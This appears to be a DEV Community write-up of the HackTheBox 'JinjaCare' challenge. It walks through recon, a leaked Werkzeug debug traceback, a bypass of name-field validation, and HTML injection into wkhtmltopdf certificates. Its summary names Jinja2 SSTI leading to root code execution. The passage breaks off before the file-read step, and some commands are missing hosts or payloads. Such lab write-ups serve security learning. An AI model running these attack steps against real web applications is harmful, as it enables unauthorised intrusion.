DEV Community

Cover image for HackTheBox : JinjaCare Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

HackTheBox : JinjaCare Writeup

Summary

JinjaCare is a Flask-based COVID-19 vaccination verification web app. The intended path chains wkhtmltopdf HTML/local-file injection (via the certificate-generation feature) to disclose the Flask application source, which in turn reveals a post-substitution render_template_string() call — a textbook Server-Side Template Injection (SSTI) pattern. That SSTI is exploited via the Jinja2 sandbox-escape gadget chain (self.__init__.__globals__) to achieve remote code execution running as root.

Attack surface entry point: /verify certificate lookup led nowhere directly, but pivoting through registration → Werkzeug debug traceback → profile management uncovered the real vulnerable chain.

Recon

curl http://:
Enter fullscreen mode Exit fullscreen mode

The landing page identifies the app as "JinjaCare" — a COVID-19 vaccination verification platform with /monitoring, /verify, and /login routes linked in the nav. The name itself is a strong hint toward Jinja2 template injection somewhere in the app.

curl -I http://:
Enter fullscreen mode Exit fullscreen mode
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Tue, 14 Jul 2026 05:52:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 16518
Connection: keep-alive
Vary: Cookie
Enter fullscreen mode Exit fullscreen mode

Nginx reverse-proxying a backend app (confirmed Flask later via error tracebacks).

Initial Enumeration — /verify

The /verify endpoint takes a certificate_id parameter via GET and displays a validity result:

curl "http://:/verify?certificate_id=%7B%7B7*7%7D%7D"
curl "http://:/verify?certificate_id=test123"
Enter fullscreen mode Exit fullscreen mode

Both requests returned an identical "Invalid certificate" response with no reflection of the input — this endpoint performs a database lookup before any rendering occurs, ruling out direct SSTI here.

Forcing an Error — Werkzeug Debug Mode

Probing /register with a malformed request (JSON body against a form-expecting endpoint) triggered a full Werkzeug debug traceback:

curl http://:/register -H "Content-Type: application/json" \
  -d '{"username":"tester","email":"b@b.com","password":"tester123"}'
Enter fullscreen mode Exit fullscreen mode
Traceback (most recent call last):
  File "/usr/local/lib/python3.9/site-packages/flask/app.py", line 1488, in __call__
    return self.wsgi_app(environ, start_response)
  [... snipped ...]
  File "/app/app.py", line 52, in register
    email = request.form['email']
  File "/usr/local/lib/python3.9/site-packages/werkzeug/datastructures/structures.py", line 192, in __getitem__
    raise exceptions.BadRequestKeyError(key)
werkzeug.exceptions.BadRequestKeyError: 400 Bad Request
KeyError: 'email'

<script>
  var CONSOLE_MODE = false,
      EVALEX = true,
      EVALEX_TRUSTED = false,
      SECRET = "4689943sFJltwbtgi7z0";
script>
Enter fullscreen mode Exit fullscreen mode

The traceback confirmed:

  • Flask app, Python 3.9, source at /app/app.py
  • Werkzeug interactive debugger (EVALEX) is enabled, protected by a PIN
  • /register expects email, name, password form fields

The debugger PIN wasn't computable remotely at this stage (requires MAC address / machine-id not yet disclosed), so this path was set aside in favor of continuing app enumeration.

Registration & Authenticated Surface

Registering an account (POST /register with email, name, password, confirmPassword) succeeded and granted access to an authenticated dashboard at /dashboard, which links to:

  • /profile/personal — name, email, phone, address, DOB, gender, emergency contact
  • /profile/medical — free-text medical record entries (condition, doctor, hospital, notes)
  • /profile/vaccinations — vaccination record entries (vaccine, location, provider)
  • /generate_certificate — generates a PDF vaccination certificate

name field validation on /register

Testing {{7*7}} as a registration name returned a flash message: "Name can only contain letters and spaces" — a server-side regex filter (^[a-zA-Z ]+$) blocks SSTI attempts at registration time.

Set-Cookie: session=eyJfZmxhc2hlcyI6...HPlMN2olIbpiTuNK38_0bsSg9BA; HttpOnly; Path=/
Location: /register

(decoded flash message: "Name can only contain letters and spaces")
Enter fullscreen mode Exit fullscreen mode

Prefix/newline bypass attempts (test{{7*7}}, test\n{{7*7}}) were also rejected with the identical message, indicating the regex fully anchors the string.

PDF Certificate Generation — wkhtmltopdf

/generate_certificate returns a PDF built with wkhtmltopdf 0.12.6, confirmed via PDF metadata:

%PDF-1.4
1 0 obj
<<
/Title ()
/Creator (wkhtmltopdf 0.12.6)
/Producer (Qt ...
Enter fullscreen mode Exit fullscreen mode

Testing medical/vaccination free-text fields for SSTI ({{7*7}} in condition, doctor, notes, location, provider) showed the literal string reflected unescaped in /profile/medical — but crucially, these fields are not used by /generate_certificate at all; the certificate only pulls the account's name field.

Bypassing the name filter via /profile/personal

The letters-only regex applied to /register is not re-applied on the profile-update endpoint (POST /profile/personal), which updates the same name column with no validation:

curl -i -s http://:/profile/personal -b cookies.txt \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "name=

SSTITEST123

"
\ --data-urlencode "email=" [... other required fields ...] curl -s http://:/generate_certificate -b cookies.txt -o cert.pdf pdftotext cert.pdf -
Enter fullscreen mode Exit fullscreen mode

SSTITEST123

rendered as a real heading in the resulting PDF:

JinjaCare
COVID-19 Vaccination Certificate
Name:
SSTITEST123
Official Document - 99f85f34-ca50-4b3c-b079-4c53ee358a5a
Date of Issue: 2026-07-14
Vaccination Status: Fully Vaccinated
Enter fullscreen mode Exit fullscreen mode

— confirming raw HTML injection into the wkhtmltopdf rendering pipeline via the name field.

Local File Read via wkhtmltopdf

A direct